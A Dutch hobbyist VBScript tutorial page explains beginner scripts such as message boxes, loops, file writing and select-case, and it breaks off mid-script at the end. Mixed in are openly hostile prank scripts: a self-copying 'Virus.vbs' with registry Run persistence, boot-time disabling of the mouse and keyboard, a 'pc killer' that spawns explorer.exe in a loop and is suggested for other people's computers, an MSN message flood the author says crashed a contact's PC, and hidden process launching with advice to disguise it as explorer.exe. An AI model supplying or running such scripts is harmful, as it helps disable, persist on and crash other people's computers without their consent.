Vbs - Scripting
language
Dit
document bevat een groot aantal scripts die "Visual Basic Script"
gerelateerd zijn. Dit is een programmeertaal, te gebruiken op
Windows systemen.
Scroll
naar beneden, of klik
hier,
voor de VBS -
programmeer projecten, en selecteer
vervolgens een onderwerp
dat U interessant vindt...
| Auteur: Johnny Heesterbeek |
Datum: 10-03-2008 |
VBS
is een programmeertaal voor computers. Men kan er leuke en handige programma's
mee maken. Maar ook slechte, zoals virussen, het wordt dan ook wel een virustaal
genoemd.
Het leuke van Visual Basic script is dat het werkt op iedere computer, zonder
dat er iets voor geïnstalleerd hoeft te worden, je kan het zelfs op iedere pc
maken. Ook is het mogelijk om scripts te bewerken vanuit iedere computer(
rechtermuis knop bewerken of edit) (overigens zijn er wel editors voor vbs)
Visual Basic Scripts maken is niet zo moeilijk, als beginner kun je steeds
stukjes code overnemen, en plakken in je script. Verder hebben de script
bestanden nog een ding gemeen: ze eindigen allemaal met de extensie .vbs
Dus als je een script gaat maken, open je ten eerste je kladblok (standaard in
Windows) en je typt vervolgens de gewenste opdracht.
:: Hello world! ::
Dit
script kan een zogenaamde Message box (bericht blok) genereren...
1
MsgBox
"Hello world!"
of
1
Wscript.echo
"Hello world!"
De tekst tussen aanhalingstekens word dus in de popup weergegeven. Het gebruik van beide manieren is toegestaan, en zijn
ongeveer hetzelfde in het gebruik. De kop boven de standaard "MsgBox"
is alleen anders dan bij de "Wscript.echo".
Ga naar kladblok of een andere editor.
En vervolgens sla je dit document op als: alle
bestanden, en dan als bestandsnaam hello.vbs
Vervolgens open je dit, en je zult merken dat je een tekst venstertje krijgt met
hallo en een 'OK' knopje daaronder. Dit is het verschil tussen de 2 bericht
boxen.
Je kunt deze message box ook nog een naam geven, hier volgt de code om dit te
realiseren:
1
MsgBox
"Hello
world!"
,vbOKonly,
"Ik heb op www.high-tech-web.nl.tt
mijn eerste VBS source-code leren schrijven!"
De code vbOKOnly geeft aan dat alleen de "ok" knop
weergegeven mag worden, maar er zijn nog veel meer mogelijk heden.
Knoppen:
vbYesNo
of
4 is JA/NEE knoppen
vbAbortIgnoreRetry
of 2
is
Abort, Retry en Ignore knoppen
icoontjes:
vbCritical
of
16 is een kritieke waarschuwing (rood
rondje met wit kruis)
vbQuestion
of
32 is een vraagteken cioon (blauw
vraagteken icoon)
vbExclamation
of
48 is een waarschuwing icoon (driehoek met uitroepteken)
vbInformation
of
64 is een informatieve mededeling (info
icon)
vbSystemModal
of
4096 is een popup die altijd op de
voorgrond staat
Ook kan het met nummers, met de volgende nummers kun je
icoontjes en knoppen toevoegen:
Hier is een lijst van alle nummers.
-Knoppen-
0 - alleen de OK knop
1 - OK en Cancel knop
2 - Abort, Retry en Ignore knoppen
3 - Yes, No en Cancel knoppen
4 - Yes en No knoppen
5 - Retry en Cancel knoppen
tip* Geef alle VBS- codes een identieke
bestandsnaam zodat je ze later nog gemakkelijk terug kunt vinden
Natuurlijk kun je nog veel meer met deze programmeertaal, maar dit was een
voorbeeld...
:: Een variable ::
Een variabele is een wiskundige
term die een getal of een letter kan bevatten. Zoals waarschijnlijk al
bekend kan een variabele variëren oftewel veranderen. In deze VBS-source
wordt de variabele eerst toegewezen, en later weer uitgelezen.
Als de variabele een letter of woord
betreft...
1
2
a =
"voorbeeld"
MsgBox "De
variabele 'a' betreft: " & a & "."
... of als de variabele een numeriek antwoord betreft...
1
2
a =
1000
MsgBox "De
variabele 'a' betreft: " & a & "."
De tekst tussen aanhalingstekens word dus in de popup
weergegeven.
Voor de variabele kun je
ook een getal laten invoeren door middel van een zogenaamde 'inputbox'.
1
2
a
= inputbox ("Hoeveel is
'a'?")
MsgBox "variabele 'a' is:
" & a & ""
...of, wat namelijk ook kan...
1
2
a
= inputbox ("Hoeveel is
'a'?")
MsgBox "variabele 'a' is:
"
+ a
Andere variabele die je ook
vaak tegenkomt zijn bijvoorbeeld: strInput = False of strInput = True.
Deze variabele zie je terug in de wat grotere VBS-projecten. Deze
waardes zijn bijvoorbeeld nodig om toegang te krijgen tot een bepaald
stuk van een script. Vrij vertaald betekend het waar of niet waar. Je
zou het kunnen zien als een digitale, logische 1 of 0 die toegewezen
wordt aan een zogenaamde string, of variabele.
:: Do ... Loop ::
Do
en loop zijn commando's om aan te geven dat een bepaald stuk van een
script steeds herhaald moeten worden. Alles wat tussen deze 2 commando's
staat zal herhaald worden. Dit script kan een
zogenaamde Message box (bericht blok) genereren...
1
2
3
Do
MsgBox
"Hello
world!"
Loop
De tekst tussen aanhalingstekens word dus steeds in een popup
weergegeven.
Ook is het mogelijk om een
enigszins beperkte loop te maken. Dit doe je met behulp van een
variabele zoals hierboven staat beschreven. Wat je hiervoor moet doen is
van tevoren bepalen hoe vaak je de functie uit wilt voeren, en
vervolgens het script steeds laten aftellen naar dat moment. Optellen,
vuldingen en delen kan overigens ook.
1
2
3
4
5
a
=
5
Do
MsgBox
"Hello
world!"
a =
a -
1
Loop until
a
= 0
Zie hier het voorbeeld met een optelling:
1
2
3
4
5
a
=
0
Do
MsgBox
"Hello
world!"
a =
a +
1
Loop until
a
= 5
:: Een slaap functie ::
Via een simpele code kun je een
zogenaamde slaap of sleep functie aanroepen in VBS. De volgende code
laat de bekende 'message box' zien maar door middel van de 'sleep
functie' zit er 5 seconden vertraging in. Het ingevoerde getal: '5000'
is de tijd in milliseconden. Dus 1 minuut is bij voorbeeld 60000
milliseconden. Het allereerste commando moet je domweg gewoon kopiëren,
want dit heeft de computer nodig om te weten wat WScript is. Als dit
commando zou ontbreken krijg je een foutmelding dat het systeem geen
WScript geladen heeft. En tot slot moet WScript dus ook uit het geheugen
van de computer gehaald worden. Dit doe je met het laatste commando, het
sluit namelijk WScript.
1
2
3
4
Set
shl =
CreateObject("WScript.Shell")
Wscript.sleep 5000
MsgBox "Dit was een voorbeeld van 5
seconden vertraging!"
Wscript.Quit
Om deze handeling automatisch te laten herhalen,
kan men het gedeelte...
1
oWS.Run "%comspec% /c echo " & Chr(07), 0, True
...een x aantal keer achter elkaar plakken. Echter is
dit niet handig, en krijg je hierdoor een erg lange code. Het eerste
stukje code moet namelijk wscript.exe starten in het geheugen van de
computer. Als wscript.exe eenmaal gestart is kun je er gebruik van
maken, zonder dat je het steeds opnieuw aan moet roepen totdat je het
weer sluit (Wscript.Quit).
Een andere oplossing is dus om er de commando's 'do'
ervoor, en 'loop' en achteraan zetten.
Hierdoor zal de computer in een soort looping raken, en zal steeds bij 'loop'
terug naar 'do' springen. Zie het
"Do...loop artikel" hierboven voor nadere uitleg van deze code.
1
2
3
4
Set
oWS =
WScript.CreateObject("WScript.Shell")
Do
oWS.Run "%comspec% /c echo
" & Chr(07), 0, True
Loop
Door dit script uit te
voeren zal het systeem steeds kortstondige piepjes blijven produceren.
Merk op dat de code "Wscript.Quit"
overbodig is in DIT script met een oneindige "loop" functie.
Om dit programma te stoppen, druk je op CTRL-ALT-DEL en selecteer je
wscript.exe en druk je op "Taak beëindigen" / "End process", zodat het
programma stopt. Later in deze mini cursus zul je ook leren om een
beperkte loop te maken, zodat het programma ook nog ooit uit zichzelf
zal stoppen.
:: Open CD-drive ::
Dit stukje script kan ervoor zorgen dat de
cd speler van de computer wordt geopend. Om dit script uit te kunnen
voeren, heb je wel Windows media player® nodig,
maar dat zit standaard op iedere pc...
1
2
3
Set
oWMP
= CreateObject("WMPlayer.OCX.7"
)
Set colCDROMs
= oWMP.cdromCollection
colCDROMs.Item(i).Eject
Om het cd-luikje weer te sluiten moet je de code "colCDROMs.Item(i)".Eject
nogmaals plaatsen, achteraan het script.
1
2
3
4
Set oWMP = CreateObject("WMPlayer.OCX.7"
)
Set colCDROMs
= oWMP.cdromCollection
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
Ook hier kan het 'Do'
en 'Loop' verhaal toegepast worden.
Let op: dit script kan niet uit het geheugen van de computer gehaald worden
zolang deze niet herstart wordt.
:: Create file ::
Dit is een programma
dat een bestand aan kan maken vanuit een VBS- script.
Dit script roept als
eerste weer een hulp-systeemobject aan, en gebruikt dit om een
bestand aan te kunnen maken (Scripting.FileSystemObject).
Daarna geeft het aan
hoe en waar het te creëren bestand moet gaan heten (voorbeeld.txt) ,
en dat het op de C schijf opgeslagen dient te worden(C:\) .
De code "WriteLine"
spreekt voor zich, deze code schrijft een regel.
De code "Wscript.Quit"
maakt het geheugen van de computer weer leeg. ( Je kunt ook "a.Close"
gebruiken.)
1
2
3
4
Set
fs =
CreateObject("Scripting.FileSystemObject")
Set a
=
fs.CreateTextFile("C:\voorbeeld.txt")
a.WriteLine ("Dit is een voorbeeld!!!")
Wscript.Quit
Natuurlijk kun je dit script ook als hulpmiddel gebruiken om weer een
nieuwe VBS te schrijven, en naar de door jou opgegeven locatie te
sturen.
Let op dat als je bijvoorbeeld je nieuwe bestandsnaam een onveilige of
dubbele extensie geeft: (boe.gif.exe), dat de virusscanner dit niet leuk
vindt ;-).
:: Send keys ::
Dit stukje script
stuurt toetsaanslagen naar het door jouw ingevoerde programma. De code
gedraagt zich letterlijk als een toetsenbord.
Dit script roept als eerste weer een hulp-systeemobject aan (Scripting.FileSystemObject),
en gebruikt dit om een bestand aan te kunnen openen.
Daarna geeft het aan welk programma er gestart moet
worden: (notepad.exe), en dat het op in de root directory moet
staan. Ook kun je rechtstreeks een pad voor windows invoeren: (C:\voorbeeld.exe).
De code "Wscript.sleep"
zorgt ervoor dat de pc even de tijd heeft (1000 milliseconden is 1
seconde) om kladblok op te starten, voordat het script de tekst
ernaartoe stuurt.
De code "shl.SendKeys"
drukt de virtuele toetsen in.
De code "Wscript.Quit"
maakt het geheugen van de computer weer leeg.
Je kan nog veel meer verschillende toetsaanslagen
maken, maar daarvoor kun je beter op deze site kijken:
SENDKEYS.
:: Select case ::
Dit is een script
waarbij je verschillende cases kunt aanroepen. Voor iedere input leg je
dus een van te voren bepaalde bijbehorende output vast.
Dit script genereert ten eerste een inputbox waarvan
de ingetypte input tijdelijk opgeslagen wordt onder de variabele "a".
Daarna kijkt het programma naar de gegeven input (hoofdlettergevoelig!!!)
en zoekt vervolgens de juiste "case" hierbij.
In de case staat de inhoud van een variabele die
uiteindelijk weer wordt opgeslagen onder de variabele "strlang".
In de MsgBox komt de inhoud van de "strlang" te staan.
De code "Wscript.Quit"
maakt het geheugen van de computer weer leeg.
1
2
3
4
5
6
7
a
= inputbox ("NL
/ EN?:")
Select Case a
Case "NL"
strlang
= "Je hebt Nederlands geselecteerd!"
Case "EN"
strlang
= "You picked English!"
Case else strlang
= "Sorry, your language is not supported : ("
End Select
MsgBox ""&
strlang &""
Je kan ook een geavanceerdere versie van dit script
gebruiken. Bij het volgende script zitten kopjes, en andere handige snufjes.
Maar let wel op dat een foutje hierbij sneller is gemaakt. Overigens is het
principe weer hetzelfde, maar er zijn meerdere variabele aangebracht.
ODim
strMsg,inp01,strTitle,strFlag
strTitle =
"Answer Box"
strMsg =
"Maak je keuze!" & vbCR
strMsg
=
strMsg & "typ N voor Nederlands" &
vbCR
strMsg
=
strMsg & "typ E voor Engels" & vbCR
strFlag
=
False
Do While
strFlag =
False
inp01 =
InputBox(strMsg,"maak
je keuze!")
Select Case
inp01
Case "n"
MsgBox "Je hebt gekozen voor
Nederlands",64,strTitle
strFlag =
True
Case "e"
MsgBox "You picked english!",64,strTitle
strFlag =
True
Case Else
MsgBox "You made an incorrect
selection!",64,strTitle
End Select
Loop
Wscript.Quit
:: Counter flip ::
Dit stukje script
start een door jou opgegeven webpagina, en zorgt dat deze om de 2
seconden herladen wordt.
Dit script roept als eerste weer een hulp-systeemobject aan (Wscript.exe), en gebruikt dit om een
locatie te kunnen adresseren (de site).
De code "Wscript.sleep"
zorgt ervoor dat de pc even de tijd heeft (2000 milliseconden is 2
seconde) om de website helemaal te laden, voordat het script de refresh functie
ernaartoe stuurt.
De code "shl.SendKeys"
drukt de virtuele toetsen in.
De code "Wscript.Quit"
maakt het geheugen van de computer weer leeg.
Dit
is een leuk programmatje... Je hebt er trouwens wel Windows XP of
Windows NT voor nodig (anders moet je op een andere manier het kladblok
zien te openen) Het lijkt net op een hack programma. Wat je zult zien is
een kladblok venster waarin een reeks binaire getallen getoond worden.
het script start een
hulpapplicatie "Set
shl =
CreateObject("Wscript.shell")"
daarna opent het notepad / kladblok
het script wacht 1
seconde op kladblok
projecteert de tekst: HACKING SYSTEM en zet middels een
do...loop code 10 puntjes in vertraagde toestand achter de huidige
tekst
vervolgens is er nog een
do...loop code waardoor er binaire codes geprojecteerd worden, en
die gevolgd worden door een enter, en tevens 100 maal herhaald wordt
Ten slotte wordt het
script uit het geheugen gehaald met de code: "Wscript.Quit".
Set
shl =
CreateObject("Wscript.shell")
shl.Run "%SystemRoot%\system32\notepad.exe"
Wscript.sleep
1000
shl.SendKeys("HACKING SYSTEM")
Do
Wscript.sleep 750
shl.SendKeys(".")
a
= a
+
1
Loop until a
=
10
shl.SendKeys("~~~~")
Do
shl.SendKeys("10110111101101001101010100100001110101011011010111001101011101101010101101011011010110101010111101~")
shl.SendKeys("10101010101010101010111100011101011010110111010111010110101010110101011011101011010101011010101001~")
shl.SendKeys("10101010101101011101111010110111101011100101101101111111001011010010011011010111010110101110101011~")
shl.SendKeys("10101011011001111010110101110111011101010111111011011110101101011011001011010110111010101001010111~")
shl.SendKeys("01010010101010100101000011110101010100101010101001010101010100100101010101010101011010101010101010~")
b
=
b +
1
Loop until b
=
100
Wscript.Quit
Wees gerust, het script doet niets zolang jij ook
niets doet...(switch dus niet naar een andere applicatie zolang dit script in
werking is)
:: MSN®
mini bot ::
Dit script is
in staat door middel van het gebruik van sendkeys, teksten vliegensvlug
via MSN® te versturen. Het is een leuk script om te gebruiken in
combinatie met MSN® om je messenger buddy's te doen verbazen. Maar het
kan uiteraard ook met ieder willekeurig ander programma. Het principe is
namelijk hetzelfde.
het script start een hulpapplicatie "Set
shl =
CreateObject("Wscript.shell")"
daarna opent het notepad / kladblok
het script wacht 1 seconde op kladblok
projecteert de tekst: HACKING SYSTEM en zet middels
een do...loop code 10 puntjes in vertraagde toestand achter de
huidige tekst
vervolgens is er nog een do...loop code waardoor er
binaire codes geprojecteerd worden, en die gevolgd worden door een
enter, en tevens 100 maal herhaald wordt
Ten slotte wordt het script uit het geheugen gehaald
met de code: "Wscript.Quit".
1
2
3
4
5
6
7
8
Set shl
=
CreateObject("Wscript.shell")
Wscript.sleep
5000
do
shl.SendKeys("blabla~")
Wscript.sleep
10
a =
a + 1
loop until
a =
50
Wscript.Quit
MSNhulpje.vbs noem ik dit script zelf... hiermee kan ik de pc van iemand over
zijn nek helpen via 'MSN', al getest bij blabla@chatman.nl die pc lag heel even
plat. Ik had de code wel vaker geplakt, dan hieronder te zien is moet ik zeggen.
(toch wel lol op zich =D)
Verder kun je deze codes naar wens vaker kopiëren ,
wachttijd veranderen of tekst aanpassen. Ook is het mogelijk om do (voor) en
loop (achter) het script plaatsen ( als je ctrl-alt-del drukt kun je m stoppen
door Wscript te beëindigen) om er voor te zorgen dat het script niet te lang gaat
worden.
Je kan er ook voor kiezen om een iets langere code te
gebruiken, maar dan met steeds andere woorden, om het iets realistischer
te laten lijken. Het principe is weer hetzelfde alleen in plaats van de
"do..loop" functie, gewoon een herhaling van de "sendkeys" code. Op de
plaats "...hier jouw tekst..." kun je
je eigen tekst invoeren. Verder zitten er steeds tussenpozen in van 10
milliseconden. De "{enter}"
functie is nodig om de knop "verzenden" in te toetsen.
En
nu pas gaat t echt leuk worden: dit is een soort virusje, (alleen voor Windows
98). Hiermee kun je de muis van je pc uitschakelen, t
werkt echt...
Het script roept eerst een object aan, om vervolgens een systeemwaarde in het
register van Windows® te kunnen veranderen.
1
2
3
Set shl
=
CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableMouse",
"Rundll32.exe Mouse,Disable"
:: Disable keyboard ::
Dier
volgt het scrip om je toetsenbord uit te schakelen:
Het script roept eerst een object aan, om vervolgens een systeemwaarde in het
register van Windows® te kunnen veranderen.
1
2
3
Set shl
=
CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableKeyboard",
"Rundll32.exe
Keyboard,Disable"
:: Startup file ::
Dit
is een script dat ervoor kan zorgen dat een bepaald bestand steeds gestart
kan worden als Windows ook gestart wordt. Indien dit een virus betreft kan
dit uitgeschakeld worden in de veilige modus van Windows. Deze veilige modus
van Windows kan opgestart worden door bij het starten van de machine, de F8
toets in gedrukt te houden, je komt dan in een menu, waarbij de gebruiker
veilige modus selecteerd met de pijltjestoetsen, en op enter drukt, het
programma dat normaal gestart zou worden start dan niet, en is via het
commando: "MSCONFIG" in het menu START/RUN of START/UITVOEREN uit te
schakelen, door middel van het de-selecteren van een selectie vakje in het
laatste blok van het menu dat jouw programma bevat.
Wat het programma doet, is
het volgende:
Het programma roept een
systeemobject aan: "Wscript.Shell".
daarna roept het
programma nog een systeemobject aan: "Scripting.FileSystemObject".
vervolgens zet het
programma in de "Windows map" het bestand virus.vbs
1
2
3
4
5
6
7
Set
Shl =
CreateObject("Wscript.Shell")
Set fso
=
CreateObject("Scripting.FileSystemObject")
winfolder =
fso.GetSpecialFolder(0)
Set vbsfile
= fso.GetFile(WScript.ScriptFullName)
vbsfile.Copy
winfolder &
"\Virus.vbs"
Shl.RegWrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Start
menu",winfolder & "\Virus.vbs"
:: Startpage
changer*tip ::
Dit
is een zeer handig script om automatisch een andere startpagina laten aanmaken (zonder
melding). Op bedrijven en instellingen zoals scholen en clubhuizen is het vaak
niet mogelijk om de startpagina te wijzigen in een zoekpagina. VBS is meestal
niet geblokkeerd... Dus dit biedt vaak DE uitkomst:
Het programma roept een
systeemobject aan: "Wscript.Shell".
Daarna zet het de
registerwaarde van de startpagina van IE® op de desbetreffende site.
Uiteindelijk wordt het
script ook weer uit het geheugen gehaald.
1
2
3
4
Set
Shl =
CreateObject("Wscript.Shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Main\Start Page","www.high-tech-web.dse.nl
Wscript.Quit
:: Browser name
changer*tip ::
Dit script is in
staat om de naam van je browser te veranderen. Dit geldt alleen voor
Internet Explorer browsers. Het resultaat zie je boven in je scherm in de
blauwe balk waar ook de 3 bekende minimaliseren, vorig formaat, en afsluiten
knoppen staan.
Het programma roept een systeemobject aan: "Wscript.Shell".
Daarna zet het de registerwaarde van de naam van IE®
op de desbetreffende naam: (WWW.HIGH-TECH-WEB.NL.TT IS COOL!!!).
Uiteindelijk wordt het script ook weer uit het
geheugen gehaald.
1
2
3
4
Set
Shl =
CreateObject("Wscript.Shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Main\Window Title","WWW.HIGH-TECH-WEB.NL.TT
IS COOL!!!"
Wscript.Quit
:: Shutdown commando ::
Dit script is in
staat om de computer af te laten sluiten.
Het programma roept een paar systeemobjecten aan,
met nog wat (voor ons gebruik) oninteressante variabelen.
Vervolgens geeft het script het echte commando om af
te sluiten: "OpSys.ShutDown()".
Het commando "next"
word hier altijd in combinatie met dit script gebruikt.
1
2
3
4
5
Set
OpSysSet =
GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select
* from Win32_OperatingSystem
where Primary=true")
for each OpSys
in OpSysSet
OpSys.ShutDown()
next
:: VBS database ::
En met dit stukje script kun je een aantal gegevens verzamelen en opslaan in een
ander bestand in de zelfde map. (je moet nog wel ff de gegevens die je wilt
hebben aanpassen indien nodig)
Het programma roept een systeemobject aan: "Wscript.Shell".
Het programma genereerd 3 verschillende inputboxen,
en slaat de uitkomsten van de variabelen op in een apart bestand "gegevens.txt".
Dit bestand komt uiteindelijk te staan in dezelfde directory als
waar de VBS wordt uitgevoerd.
Uiteindelijk wordt het script ook weer uit het
geheugen gehaald.
1
2
3
4
5
6
7
8
9
10
11
12
Const ForWriting
= 2
Const ForAppending
= 8
email =
InputBox("Voer je e-mail in: ","Invoer
Gegevens - e-mail")
w8w =
InputBox("Voer je wachtwoord in:
","Invoer Gegevens - wachtwoord")
bw8w =
InputBox("Geef bevestiging van het
wachtwoord: ","Invoer Gegevens -
bevestiging wachtwoord")
bestand =
"gegevens.txt"
Set fs
=
CreateObject("Scripting.FileSystemObject")
Set f
=
fs.OpenTextFile(bestand,ForAppending,True)
f.Writeline "e-mail : "
+ email
f.Writeline "wachtwoord :
" + w8w
f.Writeline "bevestiging :
" + bw8w
Wscript.Quit
:: Windows pc killer ::
En dit script zorgt voor een ECHTE vastloper! Leuk om bij iemand op de pc te
zetten, reset knop is de enige optie, ctrl- alt- del gaat niet echt meer( dat zou
verloren zaak zijn) en ALT F4 is te langzaam.
Het programma roept een systeemobject aan: "Wscript.Shell".
Het script zal Windows® blijven openen tot dat de pc
volledig vast zit en hangt. Let daarbij op dat het systeem
uiteindelijk een BSOD kan krijgen!!!
Uiteindelijk wordt het script niet meer uit het
geheugen gehaald, omdat de pc toch niet meer zal reageren. De code
zou overbodig zijn.
1
2
3
4
Set
Shl =
CreateObject("Wscript.Shell")
do
shl.Run "explorer.exe"
Loop
:: KeY BoArD fLiP ::
Dit script zorgt ervoor dat de lichtjes op je toetsenbord gaan knipperen: Een
tip is om bij het starten ervoor te zorgen dat alle LED's aan, OF alle LED's uit
zijn... Uiteraard kun je zelf andere volgordes aanbrengen van de lichtjes. Denk
aan een looplicht, stroboscoop, of binair laten op, en aftellen.
Het programma roept een systeemobject aan: "Wscript.Shell".
Vervolgens beland het
programma in een loop van num-, caps- en scrolllock.
1
2
3
4
5
6
7
8
9
Set
Shl =
CreateObject("Wscript.Shell")
Do
shl.SendKeys("{NUMLOCK}")
Wscript.sleep 500
shl.SendKeys("{CAPSLOCK}")
Wscript.sleep 500
shl.SendKeys("{SCROLLLOCK}")
Wscript.sleep 500
Loop
(als de link niet werkt:
rechtermuisknop, opslaan als...)
(ZORG ERVOOR DAT ALLE LICHTJES BIJ HET STARTEN UIT ZIJN)
:: VBS pc upgrader*tip ::
Dit script laat je computer
maximaal 27 seconden sneller opstarten:
Het programma roept een systeemobject aan: "Wscript.Shell".
Vervolgens beland het programma in een loop van num-,
caps- en scrolllock.
1
2
3
4
5
6
7
8
9
10
11
strComputer
= "."
Set
objWMIService =
GetObject("winmgmts:"
_
& "{impersonationLevel=impersonate}!\\"
& strComputer &
"\root\cimv2")
Set
colStartupCommands =
objWMIService.ExecQuery
_
("Select *
from
Win32_ComputerSystem")
For Each
objStartupCommand in
colStartupCommands
objStartupCommand.SystemStartupDelay
= 3
objStartupCommand.Put_
Next
MsgBox "Gefeliciteerd: operatie 'pc
boost up' gelukt !! "
Wscript.Quit
Hierbij zit het hem in
het commando:
objStartupCommand.SystemStartupDelay
= 3 <----- . Dit script komt rechtstreeks
van de site van microsoft, maar dan natuurlijk een beetje bewerkt :D (Een pc
start standaard 30 seconden langer op)
Voor de complete ( en meteen
uitvoerbare ) VBS moet je kijken bij mijn downloads!
:: Get user name ::
Dit is een heel
intelligent script :-P , het
weet namelijk wie je bent :-D
Het programma roept een systeemobject aan: "Wscript.Shell".
Vervolgens "kijkt" het programma in het register van
Windows®, om te kijken op wie het systeem geregistreerd staat.
Uiteindelijk genereert het programma een popup met
de verzamelde informatie.
1
2
3
4
5
6
7
8
strComputer
= "."
Set
objWMIService =
GetObject("winmgmts:"
_
& "{impersonationLevel=impersonate}!\\"
& strComputer &
"\root\cimv2")
Set colWPA
=
objWMIService.ExecQuery
_
("Select *
from Win32_WindowsProductActivation")
For Each
objWPA
in colWPA
MsgBox "Hallo "&
objWPA.ServerName
Next
Dit script gebruikt de naam op wie het
MICRO$OFT PRODUCT is geïnstalleerd.
:: Get user data ::
Een andere variant hiervan is deze:
Het programma roept eerst een aantal systeemobjecten
aan: "winmgmts:" en "objWMIService.ExecQuery".
Vervolgens "kijkt" het programma in het register van
Windows®, om te kijken op wie het systeem geregistreerd staat, en
naar het product ID.
Uiteindelijk genereert het programma een popup met
de verzamelde informatie.
1
2
3
4
5
6
7
8
strComputer
= "."
Set
objWMIService =
GetObject("winmgmts:"
_
& "{impersonationLevel=impersonate}!\\"
& strComputer &
"\root\cimv2")
Set colWPA
=
objWMIService.ExecQuery
_
("Select *
from Win32_WindowsProductActivation")
For Each
objWPA
in colWPA
MsgBox "Gebruiker: "
& objWPA.ServerName & vbcrlf & vbcrlf &
"Product ID: "
& objWPA.ProductID
Next
Dit script geeft het product ID van
je MICRO$OFT pakket :-P
:: Hidden programs ::
Dit script zorgt ervoor dat er een
programma opgestart wordt, (notepad.exe) zonder dat je t ziet.
Het programma roept eerst een aantal systeemobjecten
aan: "winmgmts:", "Win32_ProcessStartup"
en "objStartup.SpawnInstance".
Vervolgens wordt er een voorbereiding gemaakt om een
programma onzichtbaar op te starten.
Uiteindelijk wordt het programma"Notepad.exe"
gestart in onzichtbare modus.
1
2
3
4
5
6
7
8
strComputer
= "."
Set
objWMIService =
GetObject("winmgmts:"
_
& "{impersonationLevel=impersonate}!\\"
& strComputer &
"\root\cimv2")
Set
objStartup =
objWMIService.Get("Win32_ProcessStartup")
Set objConfig
=
objStartup.SpawnInstance_
objConfig.ShowWindow =
HIDDEN_WINDOW
Set objProcess
=
GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn
=
objProcess.Create("Notepad.exe",
null, objConfig, intProcessID)
Pas op met het maken van gekke
programma's, want als je CTRL-ALT-DEL doet, dan zie je t wel. Natuurlijk geef je
het dan een onschuldige naam als:: "explorer.exe" :-D.
:: Time calculator ::
Dit is een leuk, maar vooral ook handig
script dat je kan gebruiken, als je bijvoorbeeld van een x aantal minuten naar
eventueel uren of dagen wilt omrekenen. Het script is zeer complex. Bij het
maken ben ik stap voor stap te werk gegaan en steeds een stukje bij
geprogrammeerd. Het geheim achter dit programma is dat het programma vol zit met
berekeningen, en vergelijkingen. Oftewel: puur logisch nadenken ;-). Vandaar
noem ik het een tijd rekenmachine.
Als je zin, en tijd hebt kun je
naast dagen, uren, en minuten, ook een week, maand, of jaarteller maken.
Het programma genereert eerst een input box waarin
je een tijd in minuten kunt invoeren.
vlak hierna wordt het getal dat is ingegeven getest
op geldigheid (het script filtert getallen die negatief zijn of
letters bevatten), en geeft anders een foutmelding
Éen dag bestaat uit 1440 minuten. Als de invoer
groter is dan 1440 minuten dan haalt het programma 1440 minuten van
de variabele a af tot dat a kleiner is dan 1439 minuten. Ook kijkt
het programma hoe vaak dat deze handeling is uitgevoerd en zet dat
meteen om in dagen.
Ook moet de output aangepast worden als dit het
geval is, de laatste "MsgBox" moet uiteraard correct Nederlands zijn
en moet indien er meer dagen zijn geen "dag" maar "dagen" laten
verschijnen.
Bij de uren gebeurt in principe hetzelfde, alleen
dan met 59 minuten aftrek.
Het overgebleven getal in variabele "a" wordt het
resterende aantal minuten. Ook hier moet gekeken worden of dat het
om 1, of meerdere minuten gaat.
Uiteindelijk wordt alle verzamelde informatie in een
"MsgBox" weergegeven.
Dit is een leuk, maar vooral ook handig
script dat je kan gebruiken, als je bijvoorbeeld aan het downloaden bent...
Je kan namelijk deze 'sleep timer'
instellen op bijvoorbeeld 2 uur, na 2 uur wordt dus je pc automatisch uitgeschakeld.
Dit script werkt met deze instellingen alleen op XP / NT. Let er bijvoorbeeld
bij 2 uur wel op dat dat (2*60) minuten zijn.
Ten eerste stel je vast dat als er een error
ontstaat, dat het programma automatisch verder gaat met het volgende
commando. Als de input bijvoorbeeld geannuleerd wordt, of zelfs leeg
is, dan moet het script stoppen.
Daarna wordt er gekeken of het ingevoerde getal niet
kleiner is dan 1, om alsnog een foutmelding te geven dat het
ingevoerde getal ongeldig is.
Vervolgens wordt het ingevoerde aantal minuten uit
de variabele "a" gehaald, en wordt er iedere minuut 1 minuut vanaf
getrokken.
Als de variabele "a" de nul bereikt heeft, dan stopt
de loop, en gaat het script verder met het volgende commando.
Het volgende commando betreft het afsluiten van de
computer, met het script dat al eerder is behandeld in deze VBS
cursus.
Als programmeur moet je je ervan bewust zijn dat
elke mogelijke combinatie of gebeurtenis zich voor kan doen. Dus om
die reden wordt er op het laatste moment een popup gegenereerd dat
de computer afsluit. De computer is op dit moment al bezig met
afsluiten, maar heeft nog genoeg tijd om een waarschuwingsvenstertje
weer te geven.
Uiteindelijk wordt het al eerder aangeroepen
programma "Wscript.exe" afgesloten.
Dit is een handig programma voor op
school, of voor op het werk. U heeft hier namelijk weinig systeem rechten... Om
nou toch een leuke achtergrond te kunnen kiezen, kunt u dit script gebruiken.
Zet een leuke afbeelding in de zelfde map als het script, en noem het
wallpaper1-4.bmp. Natuurlijk is dit een voorbeeld, en kunt u er nog veel meer in
plaatsen indien gewenst...
Als eerste word er weer een hulp-systeem-object
aangeroepen "Wscript.shell".
Daarna wordt er vervolgens een venster getoond met
alle mogelijke vormen van inputs, de mogelijke variabelen worden dus
hier beschreven.
Bij de cases staat voor iedere input wat de
bijbehorende functie is. De hoofdfunctie is dus het wijzigen van de
systeemregister waarde voor de bureaubladachtergrond. Daarbij komen
nog een aantal weergave opties. Ook zit er een helpfunctie in het
programma verwerkt, voor de minder ervaren gebruiker (dit is
professioneler).
Uiteindelijk wordt het al eerder aangeroepen
programma "Wscript.exe" afgesloten.
Set
oShell =
CreateObject("Wscript.shell")
Dim strMsg,inp01,strTitle,strFlag
strTitle =
"Answer Box"
strMsg =
strMsg & "Press 0 to set the
wallpaper as none.
"
& vbCR
strMsg = strMsg &
"Press
1 to set the wallpaper as wallpaper1."
& vbCR
strMsg =
strMsg &
"Press
2 to set the wallpaper as wallpaper2."
& vbCR
strMsg =
strMsg &
"Press
